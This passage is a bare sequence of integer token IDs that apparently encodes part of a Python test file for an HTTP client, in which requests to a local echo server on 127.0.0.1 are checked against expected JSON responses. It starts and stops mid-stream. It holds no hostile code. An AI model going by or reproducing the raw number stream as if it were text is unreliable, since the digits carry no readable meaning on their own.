13, 13, 1678, 2009, 353, 9657, 4197, 877, 5696, 742, 318, 29915, 7194, 5477, 13, 462, 268, 6702, 2084, 742, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 5477, 13, 462, 268, 6702, 29939, 5085, 742, 9657, 25739, 13, 462, 268, 6702, 20777, 742, 318, 4907, 511, 13, 462, 268, 6702, 13662, 742, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 511, 13, 462, 268, 6702, 2587, 742, 6213, 511, 13, 462, 268, 2314, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 29871, 21762, 29889, 24830, 470, 13, 965, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 3636, 580, 29871, 396, 3639, 2446, 2933, 515, 869, 26679, 267, 13, 1678, 4974, 2933, 1275, 3132, 292, 29889, 5103, 29898, 3259, 7607, 29896, 29892, 29871, 29896, 511, 13, 462, 462, 3986, 4660, 29922, 29906, 29900, 29900, 29892, 13, 462, 462, 3986, 2769, 2433, 8949, 742, 13, 462, 462, 3986, 9066, 29922, 29950, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 13, 462, 462, 462, 3986, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 13, 462, 462, 462, 3986, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 13, 462, 462, 462, 3986, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 462, 3986, 3573, 29922, 10389, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 525, 13, 462, 462, 462, 308, 289, 11838, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 525, 13, 462, 462, 462, 308, 289, 11838, 18248, 1115, 376, 7194, 613, 525, 13, 462, 462, 462, 308, 289, 11838, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 525, 13, 462, 462, 462, 308, 289, 11838, 2467, 1115, 1870, 29913, 5477, 13, 462, 462, 3986, 848, 3790, 29915, 3051, 2396, 6213, 29892, 13, 462, 462, 18884, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 18884, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 18884, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 18884, 525, 2467, 2396, 6213, 1118, 13, 462, 462, 3986, 2009, 3790, 29915, 5696, 2396, 525, 7194, 742, 13, 462, 462, 462, 259, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 462, 259, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 462, 259, 525, 20777, 2396, 15516, 13, 462, 462, 462, 259, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 462, 259, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 462, 259, 525, 3069, 2396, 525, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 13, 462, 462, 462, 259, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 462, 259, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 462, 259, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 462, 259, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 462, 3986, 1059, 287, 29922, 8824, 29892, 13, 462, 462, 3986, 1059, 29922, 8516, 29897, 13, 13, 13, 1678, 396, 29871, 16439, 2009, 304, 3638, 1449, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 29871, 21762, 29889, 24830, 470, 13, 9651, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 3069, 2396, 525, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29913, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 8057, 29918, 12857, 29918, 3069, 29918, 637, 29918, 2084, 7295, 13, 1678, 9995, 13, 1678, 4321, 12477, 12545, 3824, 931, 2009, 4766, 13, 1678, 9995, 13, 1678, 15595, 353, 22729, 29889, 6004, 29898, 637, 353, 29871, 29953, 29896, 29900, 29896, 29892, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29897, 13, 1678, 4974, 15595, 29889, 276, 3150, 580, 13, 1678, 4974, 15595, 29889, 2350, 1275, 6702, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 13, 1678, 3495, 353, 15595, 29889, 29872, 2350, 29961, 29900, 29962, 13, 1678, 2011, 353, 15595, 29889, 29872, 2350, 29961, 29896, 29962, 13, 1678, 1158, 353, 318, 29915, 7194, 29915, 13, 1678, 2224, 353, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 29915, 13, 1678, 9066, 353, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 13, 13, 1678, 21762, 353, 3132, 292, 29889, 4032, 29898, 9721, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 462, 3495, 978, 29922, 3069, 29892, 13, 462, 462, 2011, 29922, 637, 29892, 13, 462, 462, 1158, 29922, 5696, 29892, 13, 462, 462, 2224, 29922, 2084, 29892, 13, 462, 462, 9066, 29922, 13662, 29892, 13, 462, 462, 1723, 13, 13, 1678, 4974, 21762, 29889, 276, 3150, 580, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 21762, 29889, 3286, 2415, 580, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 29871, 21762, 29889, 24830, 470, 13, 965, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 3069, 2396, 525, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 1678, 525, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29913, 13, 13, 1678, 21762, 29889, 3827, 29898, 5696, 29922, 29884, 29915, 7194, 742, 13, 462, 29871, 2224, 29922, 29884, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 29871, 9066, 29922, 8977, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 12622, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 29871, 21762, 29889, 24830, 470, 13, 9651, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 29871, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 3069, 2396, 525, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 1124, 16675, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29913, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 1631, 572, 457, 29918, 8057, 29918, 12857, 29918, 2084, 29918, 816, 2004, 7295, 13, 1678, 9995, 13, 1678, 4321, 12477, 16439, 3348, 18499, 773, 2224, 7117, 363, 3495, 2011, 11380, 13, 1678, 9995, 13, 1678, 15595, 353, 22729, 29889, 6004, 29898, 637, 353, 29871, 29953, 29896, 29900, 29896, 29892, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29897, 13, 1678, 4974, 15595, 29889, 276, 3150, 580, 13, 1678, 4974, 15595, 29889, 2350, 1275, 6702, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 13, 13, 1678, 2224, 353, 376, 1124, 597, 29912, 29900, 6177, 29912, 29896, 6822, 1642, 4830, 877, 7640, 742, 15595, 29889, 29872, 2350, 29961, 29896, 2314, 29871, 396, 4312, 363, 4511, 13, 1678, 396, 1158, 322, 9066, 731, 297, 2009, 13, 1678, 21762, 353, 3132, 292, 29889, 4032, 29898, 9721, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 462, 2224, 29922, 2084, 29892, 13, 462, 462, 337, 6915, 519, 29922, 5574, 29892, 29871, 396, 437, 451, 3802, 3957, 13, 462, 462, 1723, 13, 13, 1678, 4974, 21762, 29889, 276, 3150, 580, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 2009, 353, 9657, 4197, 877, 5696, 742, 318, 29915, 7194, 5477, 13, 462, 268, 6702, 2084, 742, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 5477, 13, 462, 268, 6702, 29939, 5085, 742, 9657, 25739, 13, 462, 268, 6702, 20777, 742, 318, 4907, 511, 13, 462, 268, 6702, 13662, 742, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 511, 13, 462, 268, 6702, 2587, 742, 6213, 511, 13, 462, 268, 2314, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 21762, 29889, 24830, 470, 13, 9651, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 29871, 396, 11187, 29923, 1859, 3170, 7717, 3069, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 29871, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 3069, 2396, 525, 7640, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29913, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 29871, 396, 16439, 2009, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 21762, 29889, 24830, 470, 13, 9651, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 29871, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 3069, 2396, 525, 7640, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29913, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 13096, 5570, 29918, 8057, 29918, 12857, 29918, 2084, 29918, 11294, 7295, 13, 1678, 9995, 13, 